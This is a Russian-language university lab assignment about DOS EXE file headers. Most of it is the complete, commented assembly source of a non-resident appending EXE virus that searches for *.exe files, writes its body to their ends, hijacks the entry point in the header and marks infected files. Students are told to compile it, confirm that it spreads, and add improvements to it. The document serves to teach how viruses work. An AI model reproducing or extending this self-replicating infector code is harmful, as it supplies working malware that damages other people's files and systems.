ЛАБОРАТОРНАЯ РАБОТА № 4

"Не резидентный EXE вирус"

Цель работы. Исследовать работу внедряющегося не резидентного EXE вируса.

Краткие теоретические сведения

Прежде чем перейти непосредственно к исследованию EXE вируса необходимо рассмотреть принципы функционирования программ данного исполняемого формата.

На диске EXE файл состоит из заголовка и непосредственно исполняемой части – тела программы. Заголовок содержит параметры, необходимые для правильной загрузки программы в память, его структура представлена в следующей таблице.

off	sz	Description
00h	2	Признак файла .exe, хранятся символы MZ=4D5Ah
02h	2	Длина последней страницы файла(остаток от деления размера файла на 512)
04h	2	Размер файла в строках (размер файла деленный на 512)
06h	2	Число элементов табл. настройки адресов
08h	2	Размер заголовка в параграфах
0Ah	2	Минимальное число параграфов которое необходимо для загрузочного модуля
0Ch	2	Максимальное число параграфов для загрузки модуля
0Eh	2	Смещение стека от начала программы в параграфах
10h	2	Содержимое регистра SP при входе в программу
12h	2	Контрольная сумма файла
14h	2	Содержимое регистра IP при входе в программу
16h	2	Смещение сегмента команд от начала программы в параграфах
18h	2	Смещение первого элемента настройки адресов
1Ah	2	0, если программа является резидентной и не равно 0 если оверлейная
1Ch	2	Таблица настройки адресов переменной длины

При запуске EXE программы происходит следующее:

1. Запускаемой программе отводится вся свободная в данный момент оперативная память. Сегментная часть начального адреса этой памяти обычно называется начальным сегментом программы

2. По нулевому смещению в сегменте, который определяется начальным сегментом программы, EXEC строит PSP. Заполняет его операционная система.

3. Сразу вслед за PSP загружается сама программа, причем в память помещается исключительно загрузочный модуль, а заголовок и таблица

настройки в память не копируются. После этого выполняется настройка адресов. Суть ее в следующем. Некоторые команды (дальнего перехода или вызова процедур) требуют указания не только смещения, но и адреса сегмента. Компоновщик строит EXE файл относительно некоторого начального адреса. Поэтому при загрузке каждому сегментному адресу в программе прибавляется значение начального сегмента программы. Этот процесс и называется процесс начальной настройки адресов. Требующие настройки элементы берутся из таблицы настройки адресов.

4. Функция EXEC выполняет настройку регистров процессора. Обозначим начальный сегмент программы NS0.

DS=ES=NS0
CS=NS0+10h+CS0
IP=IP0
SS=NS0+10h+SS0
SP=SP0

5. Передается управление по адресу CS:IP.

В отличие от COM вирусов EXE вирусы при заражении должны исправлять заголовок EXE файла. Самый простой способ запись в конец файла. Для того, чтобы при запуске программы управление получил вирус необходимо скорректировать заголовок. Для этого исходные значения CS0 и IP0 заменяются на точку входа в вирусный код, а значения SS0 и SP0 переключаются на стек вируса. Кроме того необходимо скорректировать поля заголовка по смещениям 02h и 04h, поскольку при заражении размер файла изменится.

Алгоритм работы и листинг внедряющегося EXE вируса.

1. Стандартное начало EXE программы и настройка регистра DS

```
.model small
.code
start:
push cs
pop ds
```

2. Формируем в стеке адрес оригинальной точки входа программы носителя, для передачи ей управления. Сначала определяем NS0, затем вычисляем значение CS для точки входа и берем из переменной значение IP.

```
fresh_bytes:
push es
pop ax
add ax,10h
add ax,ds:old_cs
push ax
mov ax,ds:old_ip
push ax
```

3. Ищем первый EXE файл по маске.

```
find_first:
mov ah,4eh
```

```
xor cx,cx
lea dx,fmask
findfirstnext:
int 21h
jc exit
```
4. Открываем его для чтения и записи
```
open:
push es
pop ds
mov ax,3d02h
lea dx,[9Eh]
int 21h
pushcs
pop ds
jc find_next
```
5. Читаем в память заголовок EXE файла
```
save_bytes:
xchg bx,ax
mov ah,03fh
mov cx,1Ah
lea dx,header
int 21h
jc find_next
```
6. Проверяем признак заражения, им будет старший байт контрольной суммы файла.
```
proverka:
cmp byte ptr ds:[header+13h],'3'
jz find_next
```
7. Сохраняем нужные поля заголовока – IP0 и CS0.
```
mov ax,word ptr ds:[header+14h]
mov ds:old_ip,ax
mov ax,word ptr ds:[header+16h]
mov ds:old_cs,ax
```
8. Вызываем процедуру вычисления новых значения заголовка EXE файла, с учетом заражения его нашим вирусов.
```
call calculate_header
```
9. Перемещаем указатель на конец файла и записываем свое тело в конец этого файла жертвы.
```
write_vir:
mov ax,4200h
int 21h
jc find_next
mov ah,40h
mov cx,vir_len
lea dx,start
```

```
int 21h
jc find_next
```
10. Перемещаем указатель на начало файла жертвы и пишем туда исправленный заголовок
```
write_header:
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
jc find_next
mov ah,40h
mov cx,1Ah
lea dx,header
int 21h
```
11. Закрываем текущий файл и переходим к поиску следующего.
```
find_next:
mov ah,3eh
int 21h
mov ah,4fh
jmp findfirstnext
```
12. Восстанавливаем регистр DS.
```
exit:
push es
pop ds
```
13. Передаем управление программе носителю. Адрес точки входа в формате CS:IP предварительно был помещен в стек в пункте 2. После этого начинается обычное выполнение программы носителя.
```
retf
```
14. Процедура вычисления новых значений полей заголовка.
```
calculate_header proc
```
14.1. Ставим метку заражения
```
mov byte ptr ds:[header+13h],'3'
```
14.2. Берем размер найденного файла жертвы из области DTA, младшую часть помещаем в ax, а старшую часть в dx.
```
mov ax,word ptr es:[9Ah]
mov dx,word ptr es:[9Ch]
```
14.3. Округляем младшую часть до границы параграфа и корректируем старшую, если произошло переполнение. По данному смещению в файле будет записан вирус. Сохраняем смещение и его младшую часть в стек.
```
or ax,0000Fh
inc ax
adc dx,0
push ax
push dx
push ax
```

14.4. Находим смещение вируса в параграфах и вычитаем размер заголовка.

```
mov cx,10h
div cx
sub ax,word ptr ds:[header+8]
```

14.5. Корректируем смещение точки входа на начало вируса – остаток.

```
mov word ptr ds:[header+14h],dx
```

14.6. Корректируем сегмент точки входа на начало вируса – частное.

```
mov word ptr ds:[header+16h],ax
```

14.7.Прибавляем к младшей части размера размер вируса и сравниваем с 512.

```
pop ax
and ah,1
add ax,vir_len
cmp ax,512
jb ok
```

14.8. Если больше 512, то корректируем два поля, если меньше, то одно.

```
Sub ax,512
mov dx,word ptr ds:[header+4]
inc dx
mov word ptr ds:[header+4],dx
ok:
mov word ptr ds:[header+2],ax
```

14.9. Заносим смещение файлового указателя, то есть куда писать вирус.

```
Pop cx
pop dx
ret
calculate_header endp
```

15. Моделируем запуск из уже зараженной программы.

```
Exe_end:
mov ax,4C00h
int 21h
```

16. Область данных. Смещение и сегмент точки входа. Маска для поиска.

```
Old_ip dw offset exe_end
old_cs dw 0
fmask db '*.exe',0
header equ $
vir_len equ $-start
end start
```

Командная строка, вводимая при запуске программы, хранится в области DTA, поэтому данный вирус будет портить командную строку носителя. Чтобы избежать этого, можно переустанавливать DTA.

Устанавливаем DTA	Восстанавливаем DTA

mov ah,1Ah
lea dx,DTA
int 21h
	mov ah,1Ah
	mov dx,80h
	int 21h

В области данных надо определить переменную `DTA db 42 dup(0)`

И заменить все обращения к DTA, например вместо `lea dx,[9Eh]` писать `lea dx,[DTA+01Eh]`.

Порядок выполнения работы

Задание. Исследовать строение заголовка EXE программ. Набрать представленный EXE вирус, скомпилировать и изучить в отладчике его работу, а также работу зараженных им файлов.

Порядок выполнения работы

1. Исследовать заголовки не менее пяти EXE файлов в Hview.
2. Набрать EXE вирус, скомпилировать его и исследовать работу вируса в отладчике, убедиться, что он заражает EXE файлы.
3. Запустить зараженные EXE файлы и убедиться, что они корректно работают и заражают далее другие файлы.
4. Добавить сохранение и восстановление области DTA.
5. Использовать в качестве метки заражения значение поля секунды, времени создания/изменения файла и добавить соответствующие строчки кода для реализации данной функциональности.

Содержание отчета по выполненной работе

Отчет должен содержать номер и наименование лабораторной работы, данные о студентах, ее выполнивших, исходные тексты разработанных программ и исполняемые файлы с ними в электронном виде и выводы по результатам проделанной работы.

Контрольные вопросы

1. Что такое резидентный COM - вирус.
2. Какие способы работы использует резидентный COM вирус.
3. Как он перехватывает прерывания.
4. Как вирус выделяет память?
5. Объясните работу предложенного фрагмента из лабораторной.